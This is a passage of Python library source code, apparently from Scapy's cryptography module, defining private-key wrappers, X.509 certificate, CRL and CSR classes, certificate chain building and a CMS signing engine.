f.write(self.pem.encode())\n\n    @crypto_validator\n    def sign(self, data, h=\"sha256\", **kwargs):\n        \"\"\"\n        Sign data.\n        \"\"\"\n        raise NotImplementedError\n\n    @crypto_validator\n    def verify(self, msg, sig, h=\"sha256\", **kwargs):\n        \"\"\"\n        Verify signed data.\n        \"\"\"\n        raise NotImplementedError\n\n\nclass PrivKeyRSA(PrivKey, _DecryptAndSignRSA):\n    \"\"\"\n    Wrapper for RSA keys based on _DecryptAndSignRSA from crypto/pkcs1.py\n    Use the 'key' attribute to access original object.\n    \"\"\"\n\n    @crypto_validator\n    def fill_and_store(\n        self,\n        modulus=None,\n        modulusLen=None,\n        pubExp=None,\n        prime1=None,\n        prime2=None,\n        coefficient=None,\n        exponent1=None,\n        exponent2=None,\n        privExp=None,\n    ):\n        pubExp = pubExp or 65537\n        if None in [\n            modulus,\n            prime1,\n            prime2,\n            coefficient,\n            privExp,\n            exponent1,\n            exponent2,\n        ]:\n            # note that the library requires every parameter\n            # in order to call RSAPrivateNumbers(...)\n            # if one of these is missing, we generate a whole new key\n            real_modulusLen = modulusLen or 2048\n            if real_modulusLen < 1024 and not _RSA_512_SUPPORTED:\n                # cryptography > 43.0 compatibility\n                self.key = rust_openssl.rsa.generate_private_key(\n                    public_exponent=pubExp,\n                    key_size=real_modulusLen,\n                )\n            else:\n                self.key = rsa.generate_private_key(\n                    public_exponent=pubExp,\n                    key_size=real_modulusLen,\n                    backend=default_backend(),\n                )\n            pubkey = self.key.public_key()\n        else:\n            real_modulusLen = len(binrepr(modulus))\n            if modulusLen and real_modulusLen != modulusLen:\n                warning(\"modulus and modulusLen do not match!\")\n            pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp)\n            privNum = rsa.RSAPrivateNumbers(\n                p=prime1,\n                q=prime2,\n                dmp1=exponent1,\n                dmq1=exponent2,\n                iqmp=coefficient,\n                d=privExp,\n                public_numbers=pubNum,\n            )\n            self.key = privNum.private_key(default_backend())\n            pubkey = self.key.public_key()\n\n        self.marker = \"PRIVATE KEY\"\n\n        # Lines below are only useful for the legacy part of pkcs1.py\n        pubNum = pubkey.public_numbers()\n        self._modulusLen = real_modulusLen\n        self._modulus = pubNum.n\n        self._pubExp = pubNum.e\n\n        self.pubkey = PubKeyRSA((pubNum.e, pubNum.n, real_modulusLen))\n\n    def import_from_asn1pkt(self, privkey):\n        modulus = privkey.modulus.val\n        pubExp = privkey.publicExponent.val\n        privExp = privkey.privateExponent.val\n        prime1 = privkey.prime1.val\n        prime2 = privkey.prime2.val\n        exponent1 = privkey.exponent1.val\n        exponent2 = privkey.exponent2.val\n        coefficient = privkey.coefficient.val\n        self.fill_and_store(\n            modulus=modulus,\n            pubExp=pubExp,\n            privExp=privExp,\n            prime1=prime1,\n            prime2=prime2,\n            exponent1=exponent1,\n            exponent2=exponent2,\n            coefficient=coefficient,\n        )\n\n    def verify(self, msg, sig, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        return self.pubkey.verify(\n            msg=msg,\n            sig=sig,\n            t=t,\n            h=h,\n            mgf=mgf,\n            L=L,\n        )\n\n    def sign(self, data, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        return _DecryptAndSignRSA.sign(self, data, t=t, h=h, mgf=mgf, L=L)\n\n\nclass PrivKeyECDSA(PrivKey):\n    \"\"\"\n    Wrapper for ECDSA keys based on SigningKey from ecdsa library.\n    Use the 'key' attribute to access original object.\n    \"\"\"\n\n    @crypto_validator\n    def fill_and_store(self, curve=None):\n        curve = curve or ec.SECP256R1\n        self.key = ec.generate_private_key(curve(), default_backend())\n        self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key())\n        self.marker = \"EC PRIVATE KEY\"\n\n    @crypto_validator\n    def import_from_asn1pkt(self, privkey):\n        self.key = serialization.load_der_private_key(\n            bytes(privkey), None, backend=default_backend()\n        )\n        self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key())\n        self.marker = \"EC PRIVATE KEY\"\n\n    @crypto_validator\n    def verify(self, msg, sig, h=\"sha256\", **kwargs):\n        return self.pubkey.verify(msg=msg, sig=sig, h=h, **kwargs)\n\n    @crypto_validator\n    def sign(self, data, h=\"sha256\", **kwargs):\n        return self.key.sign(data, ec.ECDSA(_get_hash(h)))\n\n\nclass PrivKeyEdDSA(PrivKey):\n    \"\"\"\n    Wrapper for EdDSA keys\n    Use the 'key' attribute to access original object.\n    \"\"\"\n\n    @crypto_validator\n    def fill_and_store(self, curve=None):\n        curve = curve or x25519.X25519PrivateKey\n        self.key = curve.generate()\n        self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key())\n        self.marker = \"PRIVATE KEY\"\n\n    @crypto_validator\n    def import_from_asn1pkt(self, privkey):\n        self.key = serialization.load_der_private_key(\n            bytes(privkey), None, backend=default_backend()\n        )\n        self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key())\n        self.marker = \"PRIVATE KEY\"\n\n    @crypto_validator\n    def verify(self, msg, sig, **kwargs):\n        return self.pubkey.verify(msg=msg, sig=sig, **kwargs)\n\n    @crypto_validator\n    def sign(self, data, **kwargs):\n        return self.key.sign(data)\n\n\n################\n# Certificates #\n################\n\n\nclass _CertMaker(_PKIObjMaker):\n    \"\"\"\n    Metaclass for Cert creation. It is not necessary as it was for the keys,\n    but we reuse the model instead of creating redundant constructors.\n    \"\"\"\n\n    def __call__(cls, cert_path=None, cryptography_obj=None):\n        # This allows to import cryptography objects directly\n        if cryptography_obj is not None:\n            obj = _PKIObj(\n                \"DER\",\n                cryptography_obj.public_bytes(\n                    encoding=serialization.Encoding.DER,\n                ),\n            )\n        else:\n            # Load from file\n            obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CERT_SIZE, \"CERTIFICATE\")\n        obj.__class__ = Cert\n        obj.marker = \"CERTIFICATE\"\n        try:\n            cert = X509_Cert(obj._der)\n        except Exception:\n            if conf.debug_dissector:\n                raise\n            raise Exception(\"Unable to import certificate\")\n        obj.import_from_asn1pkt(cert)\n        return obj\n\n\ndef _get_cert_sig_hashname(cert):\n    \"\"\"\n    Return the hash associated with the signature algorithm of a certificate.\n    \"\"\"\n    tbsCert = cert.tbsCertificate\n    sigAlg = tbsCert.signature\n    return hash_by_oid[sigAlg.algorithm.val]\n\n\ndef _get_csr_sig_hashname(csr):\n    \"\"\"\n    Return the hash associated with the signature algorithm of a CSR.\n    \"\"\"\n    certReq = csr.certReq\n    sigAlg = certReq.signatureAlgorithm\n    return hash_by_oid[sigAlg.algorithm.val]\n\n\nclass Cert(metaclass=_CertMaker):\n    \"\"\"\n    Wrapper for the X509_Cert from layers/x509.py.\n    Use the 'x509Cert' attribute to access original object.\n    \"\"\"\n\n    def import_from_asn1pkt(self, cert):\n        error_msg = \"Unable to import certificate\"\n\n        self.x509Cert = cert\n\n        tbsCert = cert.tbsCertificate\n\n        if tbsCert.version:\n            self.version = tbsCert.version.val + 1\n        else:\n            self.version = 1\n        self.serial = tbsCert.serialNumber.val\n        self.sigAlg = tbsCert.signature.algorithm.oidname\n        self.issuer = tbsCert.get_issuer()\n        self.issuer_str = tbsCert.get_issuer_str()\n        self.issuer_hash = hash(self.issuer_str)\n        self.subject = tbsCert.get_subject()\n        self.subject_str = tbsCert.get_subject_str()\n        self.subject_hash = hash(self.subject_str)\n        self.authorityKeyID = None\n\n        self.notBefore_str = tbsCert.validity.not_before.pretty_time\n        try:\n            self.notBefore = tbsCert.validity.not_before.datetime.timetuple()\n        except ValueError:\n            raise Exception(error_msg)\n        self.notBefore_str_simple = time.strftime(\"%x\", self.notBefore)\n\n        self.notAfter_str = tbsCert.validity.not_after.pretty_time\n        try:\n            self.notAfter = tbsCert.validity.not_after.datetime.timetuple()\n        except ValueError:\n            raise Exception(error_msg)\n        self.notAfter_str_simple = time.strftime(\"%x\", self.notAfter)\n\n        self.pubkey = PubKey(bytes(tbsCert.subjectPublicKeyInfo))\n\n        if tbsCert.extensions:\n            for extn in tbsCert.extensions:\n                if extn.extnID.oidname == \"basicConstraints\":\n                    self.cA = False\n                    if extn.extnValue.cA:\n                        self.cA = not (extn.extnValue.cA.val == 0)\n                elif extn.extnID.oidname == \"keyUsage\":\n                    self.keyUsage = extn.extnValue.get_keyUsage()\n                elif extn.extnID.oidname == \"extKeyUsage\":\n                    self.extKeyUsage = extn.extnValue.get_extendedKeyUsage()\n                elif extn.extnID.oidname == \"authorityKeyIdentifier\":\n                    self.authorityKeyID = extn.extnValue.keyIdentifier.val\n\n        self.signatureValue = bytes(cert.signatureValue)\n        self.signatureLen = len(self.signatureValue)\n\n    def isIssuer(self, other):\n        \"\"\"\n        True if 'other' issued 'self', i.e.:\n          - self.issuer == other.subject\n          - self is signed by other\n        \"\"\"\n        if self.issuer_hash != other.subject_hash:\n            return False\n        return other.pubkey.verifyCert(self)\n\n    def isIssuerCert(self, other):\n        return self.isIssuer(other)\n\n    def isSelfSigned(self):\n        \"\"\"\n        Return True if the certificate is self-signed:\n          - issuer and subject are the same\n          - the signature of the certificate is valid.\n        \"\"\"\n        if self.issuer_hash == self.subject_hash:\n            return self.isIssuer(self)\n        return False\n\n    def encrypt(self, msg, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        # no ECDSA *encryption* support, hence only RSA specific keywords here\n        return self.pubkey.encrypt(msg, t=t, h=h, mgf=mgf, L=L)\n\n    def verify(self, msg, sig, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        return self.pubkey.verify(msg, sig, t=t, h=h, mgf=mgf, L=L)\n\n    def getSignatureHash(self):\n        \"\"\"\n        Return the hash cryptography object used by the 'signatureAlgorithm'\n        \"\"\"\n        return _get_hash(_get_cert_sig_hashname(self))\n\n    def setSubjectPublicKeyFromPrivateKey(self, key):\n        \"\"\"\n        Replace the subjectPublicKeyInfo of this certificate with the one from\n        the provided key.\n        \"\"\"\n        if isinstance(key, (PubKey, PrivKey)):\n            if isinstance(key, PrivKey):\n                pubkey = key.pubkey\n            else:\n                pubkey = key\n            self.tbsCertificate.subjectPublicKeyInfo = X509_SubjectPublicKeyInfo(\n                pubkey.der\n            )\n        else:\n            raise ValueError(\"Unknown type 'key', should be PubKey or PrivKey\")\n\n    def resignWith(self, key):\n        \"\"\"\n        Resign a certificate with a specific key\n        \"\"\"\n        self.import_from_asn1pkt(key.resignCert(self))\n\n    def remainingDays(self, now=None):\n        \"\"\"\n        Based on the value of notAfter field, returns the number of\n        days the certificate will still be valid. The date used for the\n        comparison is the current and local date, as returned by\n        time.localtime(), except if 'now' argument is provided another\n        one. 'now' argument can be given as either a time tuple or a string\n        representing the date. Accepted format for the string version\n        are:\n\n         - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT'\n         - '%m/%d/%y' e.g. '01/30/08' (less precise)\n\n        If the certificate is no more valid at the date considered, then\n        a negative value is returned representing the number of days\n        since it has expired.\n\n        The number of days is returned as a float to deal with the unlikely\n        case of certificates that are still just valid.\n        \"\"\"\n        if now is None:\n            now = time.localtime()\n        elif isinstance(now, str):\n            try:\n                if \"/\" in now:\n                    now = time.strptime(now, \"%m/%d/%y\")\n                else:\n                    now = time.strptime(now, \"%b %d %H:%M:%S %Y %Z\")\n            except Exception:\n                warning(\"Bad time string provided, will use localtime() instead.\")\n                now = time.localtime()\n\n        now = time.mktime(now)\n        nft = time.mktime(self.notAfter)\n        diff = (nft - now) / (24.0 * 3600)\n        return diff\n\n    def isRevoked(self, crl_list):\n        \"\"\"\n        Given a list of trusted CRL (their signature has already been\n        verified with trusted anchors), this function returns True if\n        the certificate is marked as revoked by one of those CRL.\n\n        Note that if the Certificate was on hold in a previous CRL and\n        is now valid again in a new CRL and bot are in the list, it\n        will be considered revoked: this is because _all_ CRLs are\n        checked (not only the freshest) and revocation status is not\n        handled.\n\n        Also note that the check on the issuer is performed on the\n        Authority Key Identifier if available in _both_ the CRL and the\n        Cert. Otherwise, the issuers are simply compared.\n        \"\"\"\n        for c in crl_list:\n            if (\n                self.authorityKeyID is not None\n                and c.authorityKeyID is not None\n                and self.authorityKeyID == c.authorityKeyID\n            ):\n                return self.serial in (x[0] for x in c.revoked_cert_serials)\n            elif self.issuer == c.issuer:\n                return self.serial in (x[0] for x in c.revoked_cert_serials)\n        return False\n\n    @property\n    def tbsCertificate(self):\n        return self.x509Cert.tbsCertificate\n\n    @property\n    def pem(self):\n        return der2pem(self.der, self.marker)\n\n    @property\n    def der(self):\n        return bytes(self.x509Cert)\n\n    @property\n    def pubKey(self):\n        warnings.warn(\n            \"Cert.pubKey is deprecated and will be removed in a future version. \"\n            \"Use Cert.pubkey\",\n            DeprecationWarning,\n        )\n        return self.pubkey\n\n    def __eq__(self, other):\n        return self.der == other.der\n\n    def __hash__(self):\n        return hash(self.der)\n\n    def export(self, filename, fmt=None):\n        \"\"\"\n        Export certificate in 'fmt' format (DER or PEM) to file 'filename'\n        \"\"\"\n        if fmt is None:\n            if filename.endswith(\".pem\"):\n                fmt = \"PEM\"\n            else:\n                fmt = \"DER\"\n        with open(filename, \"wb\") as f:\n            if fmt == \"DER\":\n                return f.write(self.der)\n            elif fmt == \"PEM\":\n                return f.write(self.pem.encode())\n\n    def show(self):\n        print(\"Serial: %s\" % self.serial)\n        print(\"Issuer: \" + self.issuer_str)\n        print(\"Subject: \" + self.subject_str)\n        print(\"Validity: %s to %s\" % (self.notBefore_str, self.notAfter_str))\n\n    def __repr__(self):\n        return \"[X.509 Cert. Subject:%s, Issuer:%s]\" % (\n            self.subject_str,\n            self.issuer_str,\n        )\n\n\n################################\n# Certificate Revocation Lists #\n################################\n\n\nclass _CRLMaker(_PKIObjMaker):\n    \"\"\"\n    Metaclass for CRL creation. It is not necessary as it was for the keys,\n    but we reuse the model instead of creating redundant constructors.\n    \"\"\"\n\n    def __call__(cls, cert_path):\n        obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CRL_SIZE, \"X509 CRL\")\n        obj.__class__ = CRL\n        try:\n            crl = X509_CRL(obj._der)\n        except Exception:\n            raise Exception(\"Unable to import CRL\")\n        obj.import_from_asn1pkt(crl)\n        return obj\n\n\nclass CRL(metaclass=_CRLMaker):\n    \"\"\"\n    Wrapper for the X509_CRL from layers/x509.py.\n    Use the 'x509CRL' attribute to access original object.\n    \"\"\"\n\n    def import_from_asn1pkt(self, crl):\n        error_msg = \"Unable to import CRL\"\n\n        self.x509CRL = crl\n\n        tbsCertList = crl.tbsCertList\n        self.tbsCertList = bytes(tbsCertList)\n\n        if tbsCertList.version:\n            self.version = tbsCertList.version.val + 1\n        else:\n            self.version = 1\n        self.sigAlg = tbsCertList.signature.algorithm.oidname\n        self.issuer = tbsCertList.get_issuer()\n        self.issuer_str = tbsCertList.get_issuer_str()\n        self.issuer_hash = hash(self.issuer_str)\n\n        self.lastUpdate_str = tbsCertList.this_update.pretty_time\n        lastUpdate = tbsCertList.this_update.val\n        if lastUpdate[-1] == \"Z\":\n            lastUpdate = lastUpdate[:-1]\n        try:\n            self.lastUpdate = time.strptime(lastUpdate, \"%y%m%d%H%M%S\")\n        except Exception:\n            raise Exception(error_msg)\n        self.lastUpdate_str_simple = time.strftime(\"%x\", self.lastUpdate)\n\n        self.nextUpdate = None\n        self.nextUpdate_str_simple = None\n        if tbsCertList.next_update:\n            self.nextUpdate_str = tbsCertList.next_update.pretty_time\n            nextUpdate = tbsCertList.next_update.val\n            if nextUpdate[-1] == \"Z\":\n                nextUpdate = nextUpdate[:-1]\n            try:\n                self.nextUpdate = time.strptime(nextUpdate, \"%y%m%d%H%M%S\")\n            except Exception:\n                raise Exception(error_msg)\n            self.nextUpdate_str_simple = time.strftime(\"%x\", self.nextUpdate)\n\n        if tbsCertList.crlExtensions:\n            for extension in tbsCertList.crlExtensions:\n                if extension.extnID.oidname == \"cRLNumber\":\n                    self.number = extension.extnValue.cRLNumber.val\n\n        revoked = []\n        if tbsCertList.revokedCertificates:\n            for cert in tbsCertList.revokedCertificates:\n                serial = cert.serialNumber.val\n                date = cert.revocationDate.val\n                if date[-1] == \"Z\":\n                    date = date[:-1]\n                try:\n                    time.strptime(date, \"%y%m%d%H%M%S\")\n                except Exception:\n                    raise Exception(error_msg)\n                revoked.append((serial, date))\n        self.revoked_cert_serials = revoked\n\n        self.signatureValue = bytes(crl.signatureValue)\n        self.signatureLen = len(self.signatureValue)\n\n    def isIssuer(self, other):\n        # This is exactly the same thing as in Cert method.\n        if self.issuer_hash != other.subject_hash:\n            return False\n        return other.pubkey.verifyCert(self)\n\n    def verify(self, anchors):\n        # Return True iff the CRL is signed by one of the provided anchors.\n        return any(self.isIssuer(a) for a in anchors)\n\n    def show(self):\n        print(\"Version: %d\" % self.version)\n        print(\"sigAlg: \" + self.sigAlg)\n        print(\"Issuer: \" + self.issuer_str)\n        print(\"lastUpdate: %s\" % self.lastUpdate_str)\n        print(\"nextUpdate: %s\" % self.nextUpdate_str)\n\n\n###############################\n# Certificate Signing Request #\n###############################\n\n\nclass _CSRMaker(_PKIObjMaker):\n    \"\"\"\n    Metaclass for CSR creation. It is not necessary as it was for the keys,\n    but we reuse the model instead of creating redundant constructors.\n    \"\"\"\n\n    def __call__(cls, cert_path):\n        obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CSR_SIZE)\n        obj.__class__ = CSR\n        try:\n            # PKCS#10 format\n            csr = PKCS10_CertificationRequest(obj._der)\n            obj.marker = \"NEW CERTIFICATE REQUEST\"\n            obj.fmt = CSR.FORMAT.PKCS10\n        except Exception:\n            try:\n                # CMC format\n                csr = CMS_ContentInfo(obj._der)\n                obj.marker = \"NEW CERTIFICATE REQUEST\"\n                obj.fmt = CSR.FORMAT.CMC\n            except Exception:\n                raise Exception(\"Unable to import CSR\")\n\n        obj.import_from_asn1pkt(csr)\n        return obj\n\n\nclass CSR(metaclass=_CSRMaker):\n    \"\"\"\n    Wrapper for the CSR formats.\n    This can handle both PKCS#10 and CMC formats.\n    \"\"\"\n\n    class FORMAT(enum.Enum):\n        \"\"\"\n        The format used by the CSR.\n        \"\"\"\n\n        PKCS10 = \"PKCS#10\"\n        CMC = \"CMC\"\n\n    def import_from_asn1pkt(self, csr):\n        self.csr = csr\n        certReqInfo = self.certReq.certificationRequestInfo\n\n        # Subject\n        self.subject = certReqInfo.get_subject()\n        self.subject_str = certReqInfo.get_subject_str()\n        self.subject_hash = hash(self.subject_str)\n\n        # pubkey\n        self.pubkey = PubKey(bytes(certReqInfo.subjectPublicKeyInfo))\n\n        # Get the \"subjectKeyIdentifier\" from the \"extensionRequest\" attribute\n        try:\n            extReq = next(\n                x.values[0].value\n                for x in certReqInfo.attributes\n                if x.type.val == \"1.2.840.113549.1.9.14\"  # extKeyUsage\n            )\n            self.sid = next(\n                x.extnValue.keyIdentifier\n                for x in extReq.extensions\n                if x.extnID.val == \"2.5.29.14\"  # subjectKeyIdentifier\n            )\n        except StopIteration:\n            self.sid = None\n\n    @property\n    def certReq(self):\n        csr = self.csr\n\n        if self.fmt == CSR.FORMAT.PKCS10:\n            return csr\n        elif self.fmt == CSR.FORMAT.CMC:\n            if (\n                csr.contentType.oidname != \"id-signedData\"\n                or csr.content.encapContentInfo.eContentType.oidname != \"id-cct-PKIData\"\n            ):\n                raise ValueError(\"Invalid CMC wrapping !\")\n            req = csr.content.encapContentInfo.eContent.reqSequence[0]\n            return req.request.certificationRequest\n        else:\n            raise ValueError(\"Invalid CSR format !\")\n\n    @property\n    def pem(self):\n        return der2pem(self.der, self.marker)\n\n    @property\n    def der(self):\n        return bytes(self.csr)\n\n    def __eq__(self, other):\n        return self.der == other.der\n\n    def __hash__(self):\n        return hash(self.der)\n\n    def isIssuer(self, other):\n        return other.sid == self.sid\n\n    def isSelfSigned(self):\n        return True\n\n    def verify(self, msg, sig, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        return self.pubkey.verify(msg, sig, t=t, h=h, mgf=mgf, L=L)\n\n    def export(self, filename, fmt=None):\n        \"\"\"\n        Export certificate in 'fmt' format (DER or PEM) to file 'filename'\n        \"\"\"\n        if fmt is None:\n            if filename.endswith(\".pem\"):\n                fmt = \"PEM\"\n            else:\n                fmt = \"DER\"\n        with open(filename, \"wb\") as f:\n            if fmt == \"DER\":\n                return f.write(self.der)\n            elif fmt == \"PEM\":\n                return f.write(self.pem.encode())\n\n    def show(self):\n        certReqInfo = self.certReq.certificationRequestInfo\n\n        print(\"Subject: \" + self.subject_str)\n        print(\"Attributes:\")\n        for attr in certReqInfo.attributes:\n            print(\"  - %s\" % attr.type.oidname)\n\n    def verifySelf(self) -> bool:\n        \"\"\"\n        Verify the signatures of the CSR\n        \"\"\"\n        if self.fmt == self.FORMAT.CMC:\n            try:\n                cms_engine = CMS_Engine([self])\n                cms_engine.verify(self.csr)\n                return self.pubkey.verifyCsr(self)\n            except ValueError:\n                return False\n        elif self.fmt == self.FORMAT.PKCS10:\n            return self.pubkey.verifyCsr(self)\n        else:\n            return False\n\n    def __repr__(self):\n        return \"[CSR Format: %s, Subject:%s, Verified: %s]\" % (\n            self.fmt.value,\n            self.subject_str,\n            self.verifySelf(),\n        )\n\n\n####################\n# Certificate list #\n####################\n\n\nclass CertList(list):\n    \"\"\"\n    An object that can store a list of Cert objects, load them and export them\n    into DER/PEM format.\n    \"\"\"\n\n    def __init__(\n        self,\n        certList: Union[Self, List[Cert], List[CSR], Cert, str],\n    ):\n        \"\"\"\n        Construct a list of certificates/CRLs to be used as list of ROOT certificates.\n        \"\"\"\n        # Parse the certificate list / CA\n        if isinstance(certList, str):\n            # It's a path. First get the _PKIObj\n            obj = _PKIObjMaker.__call__(\n                CertList, certList, _MAX_CERT_SIZE, \"CERTIFICATE\"\n            )\n\n            # Then parse the der until there's nothing left\n            certList = []\n            payload = obj._der\n            while payload:\n                cert = X509_Cert(payload)\n                if conf.raw_layer in cert.payload:\n                    payload = cert.payload.load\n                else:\n                    payload = None\n                cert.remove_payload()\n                certList.append(Cert(cert))\n\n            self.frmt = obj.frmt\n        elif isinstance(certList, Cert):\n            certList = [certList]\n            self.frmt = \"PEM\"\n        else:\n            self.frmt = \"PEM\"\n\n        super(CertList, self).__init__(certList)\n\n    def findCertBySid(self, sid):\n        \"\"\"\n        Find a certificate in the list by SubjectIDentifier.\n        \"\"\"\n        for cert in self:\n            if isinstance(cert, Cert) and isinstance(sid, CMS_IssuerAndSerialNumber):\n                if cert.issuer == sid.get_issuer():\n                    return cert\n            elif isinstance(cert, CSR) and isinstance(sid, CMS_SubjectKeyIdentifier):\n                if cert.sid == sid.sid:\n                    return cert\n        raise KeyError(\"Certificate not found !\")\n\n    def export(self, filename, fmt=None):\n        \"\"\"\n        Export a list of certificates 'fmt' format (DER or PEM) to file 'filename'\n        \"\"\"\n        if fmt is None:\n            if filename.endswith(\".pem\"):\n                fmt = \"PEM\"\n            else:\n                fmt = \"DER\"\n        with open(filename, \"wb\") as f:\n            if fmt == \"DER\":\n                return f.write(self.der)\n            elif fmt == \"PEM\":\n                return f.write(self.pem.encode())\n\n    @property\n    def der(self):\n        return b\"\".join(x.der for x in self)\n\n    @property\n    def pem(self):\n        return \"\".join(x.pem for x in self)\n\n    def __repr__(self):\n        return \"<CertList %s certificates>\" % (len(self),)\n\n    def show(self):\n        for i, c in enumerate(self):\n            print(conf.color_theme.id(i, fmt=\"%04i\"), end=\" \")\n            print(repr(c))\n\n\n######################\n# Certificate chains #\n######################\n\n\nclass CertTree(CertList):\n    \"\"\"\n    An extension to CertList that additionally has a list of ROOT CAs\n    that are trusted.\n\n    Example::\n\n        >>> tree = CertTree(\"ca_chain.pem\")\n        >>> tree.show()\n        /CN=DOMAIN-DC1-CA/dc=DOMAIN [Self Signed]\n            /CN=Administrator/dc=DOMAIN [Not Self Signed]\n    \"\"\"\n\n    __slots__ = [\"frmt\", \"rootCAs\"]\n\n    def __init__(\n        self,\n        certList: Union[List[Cert], CertList, str],\n        rootCAs: Union[List[Cert], CertList, Cert, str, None] = None,\n    ):\n        \"\"\"\n        Construct a chain of certificates that follows issuer/subject matching and\n        respects signature validity.\n\n        Note that we do not check AKID/{SKID/issuer/serial} matching,\n        nor the presence of keyCertSign in keyUsage extension (if present).\n\n        :param certList: a list of Cert/CRL objects (or path to PEM/DER file containing\n            multiple certs/CRL) to try to chain.\n        :param rootCAs: (optional) a list of certificates to trust. If not provided,\n            trusts any self-signed certificates from the certList.\n        \"\"\"\n        # Parse the certificate list\n        certList = CertList(certList)\n\n        # Find the ROOT CAs if store isn't specified\n        if not rootCAs:\n            # Build cert store.\n            self.rootCAs = CertList([x for x in certList if x.isSelfSigned()])\n            # And remove those certs from the list\n            for cert in self.rootCAs:\n                certList.remove(cert)\n        else:\n            # Store cert store.\n            self.rootCAs = CertList(rootCAs)\n            # And remove those certs from the list if present (remove dups)\n            for cert in self.rootCAs:\n                if cert in certList:\n                    certList.remove(cert)\n\n        # Append our root CAs to the certList\n        certList.extend(self.rootCAs)\n\n        # Super instantiate\n        super(CertTree, self).__init__(certList)\n\n    @property\n    def tree(self):\n        \"\"\"\n        Get a tree-like object of the certificate list\n        \"\"\"\n        # We store the tree object as a dictionary that contains children.\n        tree = [(x, []) for x in self.rootCAs]\n\n        # We'll empty this list eventually\n        certList = list(self)\n\n        # We make a list of certificates we have to search children for, and iterate\n        # through it until it's empty.\n        todo = list(tree)\n\n        # Iterate\n        while todo:\n            cert, children = todo.pop()\n            for c in certList:\n                # Check if this certificate matches the one we're looking at\n                if c.isIssuer(cert) and c != cert:\n                    item = (c, [])\n                    children.append(item)\n                    certList.remove(c)\n                    todo.append(item)\n\n        return tree\n\n    def getchain(self, cert):\n        \"\"\"\n        Return a chain of certificate that points from a ROOT CA to a certificate.\n        \"\"\"\n\n        def _rec_getchain(chain, curtree):\n            # See if an element of the current tree signs the cert, if so add it to\n            # the chain, else recurse.\n            for c, subtree in curtree:\n                curchain = chain + [c]\n                # If 'cert' is issued by c\n                if cert.isIssuer(c):\n                    # Final node of the chain !\n                    # (add the final cert if not self signed)\n                    if c != cert:\n                        curchain += [cert]\n                    return curchain\n                else:\n                    # Not the final node of the chain ! Recurse.\n                    curchain = _rec_getchain(curchain, subtree)\n                    if curchain:\n                        return curchain\n            return None\n\n        chain = _rec_getchain([], self.tree)\n        if chain is not None:\n            return CertTree(chain)\n        else:\n            return None\n\n    def verify(self, cert):\n        \"\"\"\n        Verify that a certificate is properly signed.\n        \"\"\"\n        # Check that we can find a chain to this certificate\n        if not self.getchain(cert):\n            raise ValueError(\"Certificate verification failed !\")\n\n    def show(self, ret: bool = False):\n        \"\"\"\n        Return the CertTree as a string certificate tree\n        \"\"\"\n\n        def _rec_show(c, children, lvl=0):\n            s = \"\"\n            # Process the current CA\n            if c:\n                if not c.isSelfSigned():\n                    s += \"%s [Not Self Signed]\\n\" % c.subject_str\n                else:\n                    s += \"%s [Self Signed]\\n\" % c.subject_str\n                s = lvl * \"  \" + s\n                lvl += 1\n            # Process all sub-CAs at a lower level\n            for child, subchildren in children:\n                s += _rec_show(child, subchildren, lvl=lvl)\n            return s\n\n        showed = _rec_show(None, self.tree)\n        if ret:\n            return showed\n        else:\n            print(showed)\n\n    def __repr__(self):\n        return \"<CertTree %s certificates (%s ROOT CA)>\" % (\n            len(self),\n            len(self.rootCAs),\n        )\n\n\n#######\n# CMS #\n#######\n\n# RFC3852\n\n\nclass CMS_Engine:\n    \"\"\"\n    A utility class to perform CMS/PKCS7 operations, as specified by RFC3852.\n\n    :param store: a ROOT CA certificate list to trust.\n    :param crls: a list of CRLs to include. This is currently not checked.\n    \"\"\"\n\n    def __init__(\n        self,\n        store: CertList,\n        crls: List[X509_CRL] = [],\n    ):\n        self.store = store\n        self.crls = crls\n\n    def sign(\n        self,\n        message: Union[bytes, Packet],\n        eContentType: ASN1_OID,\n        cert: Cert,\n        key: PrivKey,\n        h: Optional[str] = None,\n    ):\n        \"\"\"\n        Sign a message using CMS.\n\n        :param message: the inner content to sign.\n        :param eContentType: the OID of the inner content.\n        :param cert: the certificate whose key to use use for signing.\n        :param key: the private key to use for signing.\n        :param h: the hash to use (default: same as the certificate's signature)\n\n        We currently only support X.509 certificates !\n        \"\"\"\n        # RFC3852 - 5.4. Message Digest Calculation Process\n        h = h or _get_cert_sig_hashname(cert)\n        hash = hashes.Hash(_get_hash(h))\n        hash.update(bytes(message))\n        hashed_message = hash.finalize()\n\n        # 5.5. Signature Generation Process\n        signerInfo = CMS_SignerInfo(\n            version=1,\n            sid=CMS_IssuerAndSerialNumber(\n                issuer=cert.tbsCertificate.issuer,\n                serialNumber=cert.tbsCertificate.serialNumber,\n            ),\n            digestAlgorithm=X509_AlgorithmIdentifier(\n                algorithm=ASN1_OID(h),\n                parameters=ASN1_NULL(0),\n            ),\n            signedAttrs=[\n                X509_Attribute(\n                    type=ASN1_OID(\"contentType\"),\n                    values=[\n                        X509_AttributeValue(value=eContentType),\n                    ],\n                ),\n                X509_Attribute(\n                    type=ASN1_OID(\"messageDigest\"),\n                    # \"A message-digest attribute MUST have a single attribute value\"\n                    values=[\n                        X509_AttributeValue(value=ASN1_STRING(hashed_message)),\n                    ],\n                ),\n            ],\n            signatureAlgorithm=cert.tbsCertificate.signature,\n        )\n        signerInfo.signature = ASN1_STRING(\n            key.sign(\n                bytes(\n                    CMS_SignedAttrsForSignature(\n                        signedAttrs=signerInfo.signedAttrs,\n                    )\n                ),\n                h=h,\n            )\n        )\n\n        # Build a chain of X509_Cert to ship (but skip the ROOT certificate)\n        certTree = CertTree(cert, self.store)\n        certificates = [x.x509Cert for x in certTree if not x.isSelfSigned()]\n\n        # Build final structure\n        return CMS_ContentInfo(\n            contentType=ASN1_OID(\"id-signedData\"),\n            content=CMS_SignedData(\n                version=3 if certificates else 1,\n                